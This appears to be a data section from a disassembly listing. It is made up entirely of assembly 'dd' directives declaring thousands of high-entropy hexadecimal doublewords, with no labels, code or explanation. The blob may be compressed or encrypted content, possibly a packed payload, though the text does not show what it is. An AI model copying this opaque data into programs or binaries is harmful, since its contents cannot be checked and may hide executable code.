		dd 0FF0964ADh, 760968D0h, 0B2C2C77h, 0CFCE6FE8h, 380F0CEAh
		dd 0BCBF2242h, 6BD04BFAh, 1544F8BCh, 236B66FEh,	4230143h
		dd 12E5FAADh, 0E4743D39h, 33CB1104h, 5262F408h,	83DEA3DFh
		dd 9454707Ch, 0C85A40Eh, 8847703Dh, 296C1D28h, 2A893C4Fh
		dd 0CC4EBA32h, 8D015694h, 0F03BFC71h, 6F91372h,	3F839858h
		dd 35A804EEh, 0ED730523h, 2230685Eh, 2A112895h,	0C58F5913h
		dd 3411083Ch, 0C1341944h, 0FA755B68h, 34897B85h, 0AEB3FA87h
		dd 11FBD95Fh, 5C0D73ABh, 435C658h, 0EFC9A4EBh, 352C7B61h
		dd 0FB169C94h, 3611927Fh, 5612C176h, 9385A6B1h,	0BB78044Eh
		dd 0B60FA200h, 0ED894101h, 30617471h, 0E7663BF1h, 135B824Ch
		dd 3061ECDBh, 0D9755705h, 13274E80h, 8B10F831h,	0E0608F3Bh
		dd 0EBDB33F1h, 27CCB3F0h, 77272A56h, 6A9D6796h,	625E5623h
		dd 0D3CE4A53h, 4BB1DEB7h, 69A6E47Dh, 0D85F2BA5h, 35C59D9Bh
		dd 0FE02680Bh, 16F0CC33h, 59E34B5Bh, 19F7C72Dh,	0C56B6AD6h
		dd 50B2F8A7h, 0AD6B1B4h, 985B81E6h, 0EC25837Dh,	864E0F58h
		dd 69E8E865h, 7783FD64h, 0A4EFD48Ah, 0C40B9444h, 0B255841Ah
		dd 400D19D4h, 8F0C11Dh,	16CA6403h, 3581243Ch, 118C38A3h
		dd 8FD0F633h, 43A20A4Ah, 1C6AEA63h, 5B7CB0E3h, 0B0E5C9Dh
		dd 13D550EAh, 0A39D16CDh, 0A848A484h, 78E94F41h, 512565BDh
		dd 93F92BC3h, 0B30B924Ch, 0D0E2E4BFh, 1A4BEA1h,	578C5C15h
		dd 892F24E8h, 0F6739CFEh, 25B7D05Ch, 40ABE206h,	2A6A038Ah
		dd 38DC580Ah, 0FECB569Ch, 0F1E82030h, 456DC663h, 0A16B12A0h
		dd 0E714F07Fh, 8909ED40h, 5098044Dh, 8962E851h,	0E462C622h
		dd 9875C822h, 1AD5F275h, 0E7803D83h, 0C7B78FDFh, 160E52E7h
		dd 171695A2h, 4966AF53h, 0C8A04CA0h, 250A3041h,	0F246C221h
		dd 26595313h, 0B3970D48h, 80D35B96h, 5E060046h,	0F82A810h
		dd 3BDEF384h, 850A401Eh, 0AE2008EBh, 6683160Ch,	0C8101004h
		dd 43ACDB30h, 0FE240804h, 4625FD87h, 4F193010h,	0EF242247h
		dd 0A9B702E7h, 163951F9h, 20ABBC22h, 874327Eh, 7521E810h
		dd 0AE20530Bh, 69569654h, 0E8C73127h, 8BC20A5h,	68745701h
		dd 5E18664h, 0A4F82B3Eh, 0B2C40E2Dh, 0E8B14918h, 197E6220h
		dd 68505710h, 3BB37A93h, 0EBB9E05Eh, 0FB4D3378h, 72524861h
		dd 0F8C1CB0Fh, 1FE18705h, 408504A0h, 8DD6A135h,	0BDEBC8DCh
		dd 0C93F9B43h, 2007FBF6h, 26A0D74h, 0B021E029h,	1C38AB3Dh
		dd 0DD4D8AB5h, 0FEEB5388h, 50EBD816h, 40215322h, 0E2C23964h
		dd 5285425Fh, 1D8C9F74h, 0E91253Ch, 1CD1773Dh, 4F8649C0h
		dd 48B672BBh, 0D5D27D32h, 471F8A12h, 93AE0016h,	20B6EC8Fh
		dd 6CA0CA3h, 0F0F04D22h, 0F086A30h, 14D0183Fh, 0EC0C5539h
		dd 31DC8C0Fh, 20FB0C80h, 780A137Ch, 0E10E7F27h,	5CF98A83h
		dd 7B839A34h, 30EF99E0h, 7CC68420h, 2CC91FD0h, 7143604h
		dd 0FD0068Ah, 0B7639A87h, 67862683h, 1924B6Ah, 6CC550Ch
		dd 2E081D8h, 3FC04E4h, 6278E9DCh, 0E8839345h, 0A3BE586h
		dd 2D400375h, 711FF408h, 0D412FC48h, 5936A61Dh,	0FC0A743Fh
		dd 950E908h, 47940447h,	3ECA0163h, 0FC1C8024h, 1E1235A9h
		dd 812C5002h, 23752AFBh, 0E81F5862h, 6999A4F5h,	8D0FD3E0h
		dd 4F3E1253h, 0E9F76F97h, 2F4CDF7Ah, 67CB48BEh,	44828039h
		dd 0E9EBD041h, 42F08B87h, 3F9105EDh, 85B60C1Eh,	0D310F010h
		dd 1BC09005h, 2813CAE9h, 0D83A8968h, 0B8E9396Fh, 744935A8h
		dd 680A2E67h, 6C0A2054h, 770A32B9h, 5A0B985h, 0FFD4D18h
		dd 0CF3097B9h, 98E2A10h, 85942047h, 363F8040h, 7FEA1475h
		dd 1C34013Bh, 5177470Eh, 0E97823B9h, 8933406Ch,	0D29AB5D0h
		dd 0D5501DABh, 0E1CEF66Bh, 0B86F193Ah, 0F5F2D39Ah, 154D7F35h
		dd 4734ECB1h, 66193869h, 0E92F1E8Bh, 0C3532425h, 8FB067F8h
		dd 29DE021Ch, 38C36554h, 58E54596h, 4AF824A4h, 187814E2h
		dd 0FC43E81Fh, 6EA99FA2h, 6C099A70h, 85FC8122h,	840403E9h
		dd 6E16AEC4h, 0C104DD0Ah, 0F012FE4Ah, 0BE8B48ACh, 1AA6065Ah
		dd 22A49C7Ch, 9C842EF7h, 8A62D6FDh, 500B01FEh, 0BA09500Ch
		dd 26D284ACh, 2769B4ACh, 0D6E4C9D8h, 0D2854E19h, 6610D442h
		dd 0F3CC3883h, 0E24015CAh, 0E6E74AEBh, 0C3800985h, 40142020h
		dd 0B2B8BD8Dh, 0CA3B25F6h, 36BED356h, 223E31CFh, 0E93806F0h
		dd 908E57D1h, 92879078h, 30E82F05h, 0BDFC8953h,	0B3F3B41h
		dd 13951EEh, 0E1093FF4h, 3066FD32h, 0D429EB28h,	67745A3Fh
		dd 0C553090Ah, 88FA7C48h, 0E1AB08E9h, 0C658D8CAh, 3B88592Ah
		dd 5C64C76Bh, 300D6829h, 0E7E9F87Eh, 0E9861C92h, 304B326h
		dd 8B337460h, 436CF548h, 20DF2C2Eh, 3817FA81h, 0D112BF0Fh
		dd 8AFDBCE8h, 0E9E3E7F4h, 2B6558B5h, 0DFFAA47Ch, 1FA3D83Dh
		dd 0A91A8A1h, 43509C32h, 814558F8h, 673A1548h, 9AFD07A5h
		dd 0BD18D0D5h, 0C08348C0h, 9890828h, 98BCF06Ch,	32B8764Dh
		dd 0BC1EFC40h, 0D214C94Ah, 0A1BCFBEFh, 6CD52E5Fh, 0C0FC830Bh
		dd 0BCE68185h, 0F07493C9h, 0A0CAF0DCh, 426C250Eh, 405989F4h
		dd 0F685125Eh, 0EC9017A5h, 2DC257D4h, 3B4A0D75h, 0B9EA2AC3h
		dd 6280E192h, 0DA26E857h, 0FC9196BEh, 90691A50h, 0C865A417h
		dd 9E110512h, 82E22755h, 0C4517407h, 0DFFDF881h, 0B1293269h
		dd 92A624A9h, 0C8806DC9h, 0EB8827D4h, 0B2A2BD3Ch, 0FE45B4E9h
		dd 0F795A891h, 0B75CFAD6h, 0F1456925h, 8FE94E8Ah, 8F08E37h
		dd 7223E15h, 0BC624EA2h, 43107CA4h, 3E8A5D74h, 0EA04C628h
		dd 0AA510430h, 26700BDh, 15EBD788h, 8223248h, 0C3503B11h
		dd 9135EB02h, 31B8A98h,	520923Eh, 0C366099Ah, 89A0ECA0h
		dd 56DEB08h, 0F65C0E11h, 2232CE9h, 7B40666Bh, 306A0A55h
		dd 0C547460h, 35C2ED3Bh, 8341EB59h, 2621743Eh, 694B400Dh
		dd 18718877h, 0C00FBC28h, 8A25EB99h, 0B79F0CBCh, 21F2AB3Dh
		dd 0A7E80885h, 0AE0394Fh, 330A089Fh, 740A1AD2h,	7F05E41Bh
		dd 89F07C17h, 1F115B73h, 0D10E27E9h, 6A13DAE9h,	4EBFAC0h
		dd 0C18DAh, 83037578h, 0B322E1E7h, 0FE094973h, 0B95638DAh
		dd 0C68BF700h, 0C975C70Bh, 6BA5E415h, 9604E8B7h, 62185F16h
		dd 0A2067F96h, 20EF0C1Ah, 529906F4h, 36565750h,	50AC05Ch
		dd 0EF24E8C4h, 18635EAFh, 30C3CE8Bh, 30C010CCh,	25926FE8h
		dd 739FBA5h, 13037E68h,	6237D45Dh, 883082F8h, 0CDB5EB18h
		dd 0A21B2BA3h, 4ABF8006h, 8B3FC1E2h, 39803282h,	0AAA97530h
		dd 404B0B0Ch, 1C621C3h,	99374030h, 280EB7D8h, 0AE5A2F3h
		dd 0D3C3F6FCh, 0C753261Dh, 8B43C285h, 4214EB2Dh, 2B3D0B20h
		dd 27B09A0h, 92200B44h,	2001459Fh, 2B73E092h, 0F40699F5h
		dd 79310C32h, 56178567h, 5C1AEB6Ah, 0BD3FD03Dh,	0EA6D5EC6h
		dd 827F062Bh, 1693324Eh, 653F5A4Dh, 322C040Ah, 0E5E83830h
		dd 21C85B43h, 8C0CD041h, 20FC7E29h, 8DF8098Fh, 0DE03FF78h
		dd 913A4303h, 0E82F76C8h, 0C1FADC8Eh, 0EA8D327Eh, 8A4E7ADFh
		dd 10C86218h, 54C78B3Eh, 29D0DC4Fh, 0A75915EBh,	0F88621FFh
		dd 1E49BAE8h, 7404AD51h, 7129A65Ah, 0C7D8936h, 10D4FA66h
		dd 0F9131305h, 0B17C96C9h, 41620483h, 9160DA81h, 407AF508h
		dd 80897861h, 4826B512h
		dd 0A3A0BF39h, 49FF0C4Dh, 0E78041Eh, 0D88A1189h, 0B5027CD0h
		dd 3105D589h, 0E899230Bh, 0F5F7F7F3h, 3539B559h, 0E205FDE8h
		dd 0C35D8D83h, 3E080DDFh, 0AA9087F8h, 0BD217EC4h, 60AA5B0Eh
		dd 0ACE814F3h, 9B5C9BB7h, 71C2A3Eh, 567F5F21h, 0C3FD3DFh
		dd 724B76FFh, 7B2665CCh, 106DCB1Ch, 57062281h, 0D06DBE46h
		dd 37A675FDh, 506C3F42h, 5B81E26Fh, 8361886Bh, 0BBFCFE1h
		dd 650D53A8h, 416DA008h, 51296498h, 66451DFCh, 90B51E12h
		dd 44E2438h, 0BDF981A4h, 0C7712A5h, 0B7804FA9h,	52EB4104h
		dd 567FC8F8h, 0C10F3550h, 17C8F94Eh, 2D01FE44h,	0DB785E80h
		dd 0A0FE652Ch, 0A3265E26h, 26AFD04h, 8377C6F9h,	0DBD8EBDFh
		dd 7B0A99A1h, 0BF51BDCCh, 18C45A64h, 4CB841E8h,	1B751C89h
		dd 45A80E6Fh, 0C6C230Ah, 882FA112h, 0F049122h, 0D0893878h
		dd 5E7846FFh, 6205B58h,	0D1F57C4Eh, 5B34ED7Ah, 0C964C4A1h
		dd 4457BC6Ch, 726EBDA3h, 3B6031FBh, 4B75F7C8h, 687FDC0Fh
		dd 3F71418Bh, 3BDC55EEh, 0B2DACD25h, 782B7C71h,	25833BDFh
		dd 3B8D13E8h, 0C60778A8h, 1170A35Eh, 6805C71Ah,	196A0E0Ch
		dd 1940A17Ch, 0F0800C8Dh, 8808A87Ch, 73C1273Bh,	2B04A5C8h
		dd 8138507Ch, 724B60FAh, 1AC08307h, 0DAE8EB14h,	0BC17BB75h
		dd 8D50BBEh, 20415D61h,	2B30F2D4h, 0FC5A1A71h, 0FC27383h
		dd 0FEEC157h, 7A8FCEEFh, 4C96982h, 2F4B2AE9h, 8C8DE001h
		dd 0ED6A4401h, 0DAF43E57h, 130C4C04h, 124818AAh, 7F4875F8h
		dd 3FF64055h, 185F4930h, 26CF3B0Ch, 83840376h, 4134C8Bh
		dd 81308DEh, 5D404875h,	7320F983h, 8D20951Ch, 8DEFD380h
		dd 4014C00h, 7C21D7F7h,	0FE4406B0h, 0ED2B7509h,	0EB0539F6h
		dd 0E0C18324h, 865D1F36h, 0B0BC1B22h, 4B2127C4h, 4790D06h
		dd 7CD3DFA5h, 0B89AC2Ah, 86FB17FFh, 0ED1CF82Ah,	0FBD08D57h
		dd 3A04FFC1h, 3F34834Fh, 5F870DF8h, 0E1BE0260h,	0BAEC98A4h
		dd 2B879DF8h, 0D25FD55h, 0F87E60A2h, 0C5A4927h,	7C76CA9Ah
		dd 0D6F4AB05h, 0FB38CD84h, 3B3F0083h, 27D76FAh,	74C041E9h
		dd 2153756Bh, 3ABF075Fh, 0CBA79BEh, 0D21086EAh,	11E25421h
		dd 141F1A1Ah, 9444CABEh, 451D9BEh, 4CC05310h, 4A891466h
		dd 0FF609E0Ch, 92822406h, 96C07C55h, 0FBEAC409h, 5951F2B3h
		dd 0B2F9B342h, 4F0C0D2Ah, 1E616FF3h, 0C30853Bh,	63751E3Bh
		dd 74C268Ah, 20FF09FBh,	0FE0FBB81h, 1907D7C1h, 7D802573h
		dd 520E8EBCh, 8B0689BBh, 0EFEBD3CFh, 0E19092Bh,	0B2448D8Ah
		dd 0AA18BB3Fh, 0D2B02529h, 1AE04F2Ah, 59352684h, 7F292004h
		dd 0B84C84E9h, 8B382409h, 0F0458355h, 5C901A89h, 0FF58FC13h
		dd 0FA851831h, 9574A12Dh, 0A704F092h, 6C0D21DFh, 3D131DBBh
		dd 0C19B4070h, 48030FE1h, 62A60C69h, 537477D4h,	3B0A5397h
		dd 334820D7h, 9851DABh,	0F500850h, 1040C03Ah, 0D188A483h
		dd 219858DAh, 435248FEh, 80F6780Bh, 0E8BD797Bh,	55046091h
		dd 78E512FEh, 6C270628h, 0C70AAC8h, 6413B6D1h, 6DFF1014h
		dd 3DF523C2h, 0C4F3CC8Bh, 93858004h, 29C8CC0Ah,	93E42B9Dh
		dd 1A161117h, 114170Bh,	0D939E8CBh, 8271929h, 410DFFE9h
		dd 44053B30h, 8FB8AF23h, 0D28044Ch, 0B189763Bh,	3EB0C4Dh
		dd 1BA0A34Bh, 0ADAA3589h, 1471607Eh, 304C674Bh,	4257D367h
		dd 0FC7C823Ch, 9817C46Ch, 0CEF04177h, 34496B69h, 0E7F7D35h
		dd 0D3FFCE09h, 0AF3F5EEEh, 10EB8F02h, 2157276Ah, 0E8D3F6C7h
		dd 26851FA5h, 8B6A01A1h, 30DF3BD8h, 733C0880h, 0E24BA419h
		dd 5823B73Dh, 0CF0BFE31h, 0C3B5C17Ah, 0B4A12A14h, 0E772338Ch
		dd 791F7511h, 0D8D4DA8Bh, 64152327h, 0E6EB4605h, 0C759F234h
		dd 0E311734Bh, 0BE87087Bh, 5514297Bh, 2138EDEBh, 510D4526h
		dd 0EE22301Ch, 38E80E16h, 85F8D158h, 147488DBh,	0DA66537Fh
		dd 7FB8591Fh, 50017510h, 4F38A943h, 0FC1C8FFh, 1D892BC5h
		dd 0E72AA636h, 0C3FA2E97h, 5C7DFCF4h, 0C4908C17h, 5277C1B2h
		dd 378F8944h, 708C13B4h, 9825524h, 4DE9F7DEh, 0D60BF448h
		dd 0CE188B6Fh, 4A91AB17h, 0A58D5785h, 0F05443Bh, 3900FEC0h
		dd 0E974D70Bh, 0CA9864F1h, 5DFF332Eh, 4C5914CBh, 4C30774Dh
		dd 0D75CEB1h, 6A3067A6h, 855FCB20h, 57C00C9h, 0EB47E1D1h
		dd 43C68BF7h, 2E88F954h, 97802B0Ah, 0C17C47F1h,	834ED3FEh
		dd 647E3FA1h, 3B265EF9h, 0D089CF7h, 0C525A601h,	7D219161h
		dd 0D412632Bh, 31B751A3h, 0F480EA9Dh, 885C23ECh, 9C24477h
		dd 6A750FFEh, 11954EBh,	0EB0B21ECh, 91186631h, 2396412Ch
		dd 216663A2h, 6F546A19h, 0A82D2199h, 82239086h,	7AC1690Bh
		dd 0BF807EEh, 0B06B9692h, 91EA08EAh, 2109517Dh,	0F17C0CAAh
		dd 0A6A30C86h, 0BCC3464Ch, 2068164h, 7D0B21FEh,	31C56129h
		dd 0BD87DF9Ah, 8BC6A625h, 0C0CE8B62h, 0AE3B098Dh, 0F2908B0Bh
		dd 0EBAF827Ch, 1629962Fh, 284E8D0Dh, 7B7F09B7h,	0BC53B2A4h
		dd 0BE2F64AEh, 3709EE30h, 23B56BBAh, 950A8930h,	0ABFC0482h
		dd 757A23B3h, 28D1BBF0h, 24130146h, 0B9A0FC32h,	8D440EB1h
		dd 3E209E79h, 1D3B1AC4h, 12E1F3C9h, 0A5D899BDh,	990712D2h
		dd 8925816Ch, 4428D08h,	34D0963h, 53680D84h, 0C192D0EFh
		dd 60B83075h, 7350892Ch, 44B150A7h, 1EB7577Ch, 0C73B3D51h
		dd 344A8948h, 43C1A29Dh, 680B403Eh, 0D3EC46Eh, 4631B06Ah
		dd 34E43109h, 6CEC9681h, 46028968h, 6A2A7410h, 29765F04h
		dd 0B358CBBAh, 0A67415A8h, 750C251Ah, 5759B952h, 0FDE8A4FDh
		dd 4E2E7D4Ch, 0E4C62025h, 5504767Eh, 84A76305h,	0CCFFAF09h
		dd 23514BB2h, 71FA57E0h, 0E441C961h, 0C6B8DB33h, 0E0225092h
		dd 38C34C43h, 82CC693Eh, 0FC845A8Bh, 2E83CD30h,	840D4C1h
		dd 0C2040697h, 1F494AD4h, 0C18641FBh, 79E070E7h, 21680C38h
		dd 47801010h, 62AA5E8Ch, 754493FDh, 70409770h, 77FA1E3Bh
		dd 0F047993Ch, 0D0F36148h, 0F4DEC88h, 0FCEE7EF5h, 40C70FC7h
		dd 4355F064h, 0EB431E6Bh, 0C70448C0h, 23E88034h, 5705150Ah
		dd 0CB3D2D26h, 69C7DBF0h, 8401F88Bh, 7FF8050Ch,	735FA123h
		dd 8DADA04Fh, 120C6E4Ah, 649040D0h, 86449E33h, 0E488ACBCh
		dd 4346398Ah, 0B0CC8A6h, 7BA3C084h, 75E04E88h, 78250903h
		dd 8B671004h, 0EAD325CBh, 8507F83h, 0B5E7C3CAh,	52DDAC25h
		dd 221B9D10h, 708DD7E0h, 512B1719h, 0A8424110h,	0EAACE0E6h
		dd 9985B00Fh, 0FC4F5883h, 5D3B492Ch, 5C272CA8h,	3D5AD939h
		dd 35C65DA8h, 0B13B5F8Eh, 4F85E447h, 0D90313C5h, 8F69C1ABh
		dd 9A15A545h, 3FF1C95Ch, 48768E64h, 59314F06h, 315F8B11h
		dd 4804CEE4h, 0B11F3CE4h, 0E2F86454h, 134D4C1Dh, 3F8A905Ch
		dd 22A31921h, 71909CE2h, 0E59E43Fh, 89A7D94Fh, 58060946h
		dd 3098657Fh, 0CE352B10h, 50AAF801h, 0AA339CD9h, 14648B5Dh
		dd 0CAE50C2Ah, 0E7318A9Eh, 5D3F0D94h, 81CA7F4h,	5B15CCE3h
		dd 0C126D40h, 364680AEh, 13F30C18h, 751E133Bh, 234F8A5Ch
		dd 7B219013h, 0E6086985h, 9662BB9h, 70C1EBCFh, 0BC4B3813h
		dd 0D3BAA684h, 9139C2Eh, 5D23105Ah, 32782CFCh, 1674A643h
		dd 24872601h, 0F9F346FEh, 2A22B042h, 9547E9F8h,	0B53BD651h
		dd 86AE0F43h, 6BF0DF7h,	9AB52958h, 6E4B62A4h, 0A5CA335Ch
		dd 6226B40Dh, 832367E9h, 5E65D87Ah, 8B5708F1h, 0F5C0E41Bh
		dd 19910529h, 903B2254h, 47752E2Eh, 1E73855Bh, 0EB41DCBBh
		dd 6748D12h, 230E7A28h
		dd 103F2875h, 0A2A74E8Dh, 7747064Ch, 7A48EE6Dh,	0D718177h
		dd 40300FE6h, 0E6DE038Fh, 763D0C74h, 7B88EE63h,	7B6E4B10h
		dd 73715ED2h, 1E513B0Dh, 0D3EE6262h, 18A8B189h,	6BB19C62h
		dd 40A1E31Eh, 88622339h, 220F44CEh, 6C1CD94Eh, 62917944h
		dd 6B3D4E64h, 4103F882h, 0B979184Ch, 3DB0F648h,	43628128h
		dd 55297540h, 45DD0D01h, 0DBC96E0Ch, 0EED90A8Dh, 2B0F190Fh
		dd 0E81396EDh, 7D6AB285h, 0F7C35D25h, 0A0F4546Ah, 71582164h
		dd 0C97DCE8h, 0E3595DDCh, 58CB983Eh, 5D202ACBh,	19776B0Bh
		dd 9C3F03D8h, 27DE2295h, 0FEE06582h, 0B1197750h, 6346E20h
		dd 8E87B8AFh, 2826145Dh, 0EF223118h, 7F968C05h,	702C6759h
		dd 0DD9DBC74h, 479B3C82h, 780C3110h, 0F20904EBh, 6816CF8Ch
		dd 0FEC779CFh, 6B37A2E9h, 983244F5h, 6AEB0818h,	2640A418h
		dd 0B5232CDDh, 59CAB815h, 5B136635h, 8A0C2C0Eh,	0C1F60E25h
		dd 0EF0D7464h, 8FB46327h, 5809C001h, 2248404h, 93620E74h
		dd 82AD092Bh, 0B1CB84FDh, 0BA199112h, 8E88424Bh, 0F4267BCFh
		dd 0F18C9028h, 7410DDFAh, 0ACF1026Ah, 0F7007230h, 83CB23D1h
		dd 0C1EF02E2h, 0CA0B04E1h, 8408BCEAh, 352A362Dh, 0FC26836Eh
		dd 30CD36F7h, 6C74170Fh, 0FB2E33E9h, 0E9C1818Fh, 2CF2303h
		dd 59415FDh, 17FE2A60h,	0C025E827h, 2AC38452h, 2E90774h
		dd 100C4983h, 0BB304A8h, 0A3D0BEFFh, 0FB09DD04h, 0DF359B06h
		dd 401520A6h, 0B0A35845h, 0FC87B9C3h, 0C10E2378h, 123D3474h
		dd 1FD9615Dh, 0C12080Eh, 2867C758h, 3D48347h, 0EECCE5FFh
		dd 0CFD8B6ACh, 0CA60AF8h, 3ACB8F81h, 7C459B10h,	10FC2021h
		dd 5320DF03h, 22213E02h, 0EBE32002h, 0F4E7391Ah, 0BFA04C9h
		dd 7F30DA6h, 0D01808Dh,	86F144Dh, 583E0FCFh, 57B7840h
		dd 6F1FE22Ch, 14D3513Fh, 799E111Bh, 5E66483Bh, 0E683F4E3h
		dd 0DD181D1Ch, 58522737h, 501FA410h, 66B6837h, 80441CEEh
		dd 0C207DD11h, 23E8403Eh, 1AB1CDD4h, 0CC6F5350h, 8CB01584h
		dd 0F63A4150h, 4904073h, 2683030Dh, 11F613FEh, 110412FBh
		dd 100212F7h, 585484EFh, 0A7A0DF1Ah, 0DE9FFFBAh, 1AE1191Ch
		dd 0C3ED6AE9h, 9761620h, 801E7517h, 0EB0C8902h,	0C1894318h
		dd 0CDECFBE5h, 84CAF508h, 40BF70Ah, 21A59D8h, 0D76C1621h
		dd 7E16F22h, 1E133484h,	18166233h, 4A12EB2Ah, 48CFCA23h
		dd 9072A02h, 385A0346h,	5AF340DDh, 9116A31Fh, 57531E9Eh
		dd 0E789F89Eh, 0B4B28A1Fh, 14745B01h, 0AB405D84h, 4FE8530Fh
		dd 2CCED68Bh, 4AE9F72Dh, 16D8A55Eh, 7310EAC3h, 0DDD8B50Ch
		dd 81A7152h, 0A8B0E9FBh, 4F0F73FDh, 101088D2h, 0C81171B4h
		dd 2814B85Ah, 0B848224Fh, 1F8192E0h, 0AC6EC823h, 0F9818400h
		dd 0A9587421h, 288CE910h, 5A85303Bh, 16CB390h, 1DDC01DDh
		dd 2A21F7A8h, 9FB805E0h, 23D6638Bh, 0D9027707h,	0F45DA55Fh
		dd 0EB325C87h, 0C620966Eh, 4A087635h, 0C5EB13F7h, 28722D24h
		dd 0B8111746h, 1ED1A8C8h, 8576704Fh, 0DA19CA4Eh, 0D1FEFE16h
		dd 4202A848h, 0DAB3CEB8h, 0ADC4088Ch, 0CB923F58h, 0F3726698h
		dd 1486456Eh, 0D9719130h, 25168F46h, 18A82B97h,	4B47E83Dh
		dd 8C70BD02h, 5A8D590Ch, 405DF988h, 0FB62CEFDh,	0E3097D0Ch
		dd 2B8C6266h, 439C54EBh, 2D39735Ch, 0D2F5E0D3h,	0FA452D8Ah
		dd 4E62FFE2h, 0B89DC85Fh, 60FC6A03h, 1F7D012Bh,	0A684C12Bh
		dd 0E2273E60h, 0D1812391h, 7E1CDE6Dh, 0BF89B5F8h, 0E418020Dh
		dd 0E35A7548h, 85991B96h, 0DA221C7h, 9855EB18h,	6A325E60h
		dd 819A9F10h, 12FDDB05h, 118A4ACEh, 138AA6D4h, 0A5B6B00Bh
		dd 0EF5F17A4h, 5FFF59C0h, 1E099D5Bh, 56EBC074h,	2DA09C5Dh
		dd 0E436AFECh, 5E642A74h, 2220E256h, 9D119A14h,	0F0102FD9h
		dd 8C681C12h, 43FD280Dh, 94B72075h, 8C79FCE0h, 0B8FC0C24h
		dd 2F02411Dh, 0D612B0F2h, 7AA49D3Bh, 1124D20Eh,	97F8A340h
		dd 3C30DB62h, 15FFBE8h,	0A4DCC1FCh, 59206643h, 56CCC94Eh
		dd 740117F8h, 858AE812h, 2CAB157Fh, 1E96C30Ch, 0C933D85Bh
		dd 0C4D04AB8h, 0AFC6C4A5h, 0E74D7D1h, 41122D6Ch, 7CD5213Dh
		dd 0E2D02AEDh, 0DED4CD04h, 978A1A3Bh, 6AF07BCBh, 165DEB05h
		dd 1106798h, 0D18F0E87h, 63C194Ch, 311C27Ch, 6C7CC358h
		dd 2397528h, 38B3DFD1h,	2F088540h, 0B7D1FCD9h, 0A24E75A7h
		dd 4D31FD98h, 0FE05310Eh, 6CE566Fh, 41800F3Dh, 4E0C10Eh
		dd 0A84A920Bh, 0BECA29FEh, 0A27D8109h, 5E7FF0F8h, 8AC3F4Bh
		dd 3CD73285h, 19FF1291h, 0B2A7503h, 7FF8B895h, 66C8BAA2h
		dd 2758DC43h, 0A41733ECh, 136B12F9h, 0EEB916F7h, 559A95Eh
		dd 0C0D67459h, 9D5D586Eh, 9594C18Eh, 562C98B4h,	0C4669BFh
		dd 90214431h, 0F4E98312h, 0B707A887h, 830EC606h, 0F216543h
		dd 572B4D10h, 26BE9333h, 734B6F48h, 0F6CC6CA9h,	0DEC3105Eh
		dd 120C65D1h, 0B800B12h, 16068303h, 80A1A01h, 89E7EB4Eh
		dd 0EF0E973Bh, 5E894EC4h, 12FAE415h, 0F6CE618Fh, 0DF82B5FEh
		dd 27EB9C45h, 89E01628h, 0E496A48Bh, 8A3F0E6Ah,	0BE256604h
		dd 0F0BF0F01h, 2622EE81h, 18503455h, 935E3089h,	4D9B1F44h
		dd 4438FE7Dh, 1B0E262Ch, 0FE2DB29h, 2FD0F64Bh, 0C8F4C57Ah
		dd 695D234Bh, 0B574D5Fh, 0E40308B1h, 0F9479E6Dh, 0A2FEC619h
		dd 74EA4027h, 2DDB120Ah, 9FE35DD0h, 939B935Dh, 10B5100Dh
		dd 839112D8h, 0D61BD27Ch, 0DC53496Ch, 44534B12h, 0E887715Ch
		dd 0D8F6F1DEh, 3F84941Dh, 9219EB28h, 2F42B681h,	7F02D829h
		dd 7FF6AE8h, 0B11959A8h, 3C7518FEh, 491F62h, 9B05479h
		dd 99C8A3F0h, 9BFF75DCh, 6D06374Dh, 1EE8F618h, 685820E7h
		dd 946BF65Dh, 8C989A53h, 0D2DCA153h, 0D39DA85Dh, 0FD8F5987h
		dd 70F81F34h, 3610AC29h, 0D00E3850h, 0BA99E9C3h, 50125702h
		dd 1C26777Eh, 0DCD6C509h, 59658166h, 6E462C74h,	326B8FCBh
		dd 0B260A275h, 94F5D4EAh, 0B84A0FEBh, 0F48E7ADh, 0D4ED475h
		dd 3F557BAh, 0DF460E8Ah, 0B7FFBD3Eh, 7F990CC1h,	5EF34882h
		dd 15FE37C6h, 0A1DD1EAAh, 0CA3A0C62h, 48A1C7D3h, 3D9B4001h
		dd 0F7F24F4h, 0D192A54h, 65F9801Bh, 450A2F34h, 20ED4E49h
		dd 38F64877h, 0FA74307Bh, 17A1498h, 40118A16h, 883205ACh
		dd 4EABF616h, 0A216EB0Bh, 559D725Ah, 0D46A8F4Dh, 74E6A012h
		dd 45EE1B5Eh, 0FF3CEC8Dh, 0F4FE3B25h, 84A8995h,	448AAD1h
		dd 226F1221h, 1B94FE22h, 0CD3005FDh, 9F903D80h,	27EA2A66h
		dd 0A10D0CBEh, 0C4211B8Ch, 0DBCFB03Eh, 0C19F0F0Ch, 2E831451h
		dd 3C8D2D38h, 3E0103A6h, 3BCAE82Fh, 8B3806A2h, 8C827464h
		dd 52367544h, 0CB6CA13Dh, 0C3C8565Eh, 50500143h, 3E6E8392h
		dd 2372DA63h, 93D00341h, 0B57235CAh, 6DE4E8EDh,	6530F935h
		dd 40E1E1C6h, 147E3C89h, 0EA570D25h, 888B981h, 0F14A4426h
		dd 7016B113h, 0E251E868h, 95490D38h, 93C87903h,	738212CBh
		dd 7D9B46D0h, 1FA2FD14h, 1C62681h, 0C2822B45h, 79274441h
		dd 45E013Ch, 0F705794Bh, 2D2892DBh, 64FB9201h, 1D2B117Ch
		dd 5E9982C0h, 0BE43FEF7h, 0EDF1478h, 0A2FDAD9h,	0DE36DA0Dh
		dd 968DAA98h, 4B01A97Eh, 10D9405Dh, 96574856h, 2194A11Ah
		dd 1C1D9FD6h, 0E243512h, 47C3C2BAh, 0D3E0849h, 8BCD8F01h
		dd 30C181DAh, 0AA306080h, 953AEDEBh, 470B285Ch,	6ABC3C45h
		dd 46810CC8h, 22C30304h, 0C5D7DE0Bh, 913B6DF0h,	75FD6002h
		dd 4540C607h, 17D358Dh
		dd 24D6AC4Fh, 570BC910h, 83B07EE8h, 3007C659h, 12E047A2h
		dd 1D92F803h, 76164150h, 1B22A089h, 8D0592Fh, 477704FAh
		dd 7DF6850Ah, 7FEEAF28h, 0EBDEF7C3h, 3B083B06h,	8B027C0Fh
		dd 495A534Ch, 306AB98Bh, 0B8261289h, 5FA2927Dh,	66BFED6Ch
		dd 917DF8C8h, 8A0710B3h, 0A3948B9Fh, 0F8E097D8h, 0FE229549h
		dd 0F346940Dh, 5350E9A8h, 8B01EB93h, 1E856F1h, 9AA14F90h
		dd 392A0597h, 9C0F2741h, 98E588C1h, 4403D40h, 282DB048h
		dd 2415A3FCh, 923217Ch,	0CAA51D7Dh, 8407840Ah, 0F914C1FCh
		dd 53FED820h, 1253F1BDh, 0D34EFC41h, 8E0F5BBh, 4F860812h
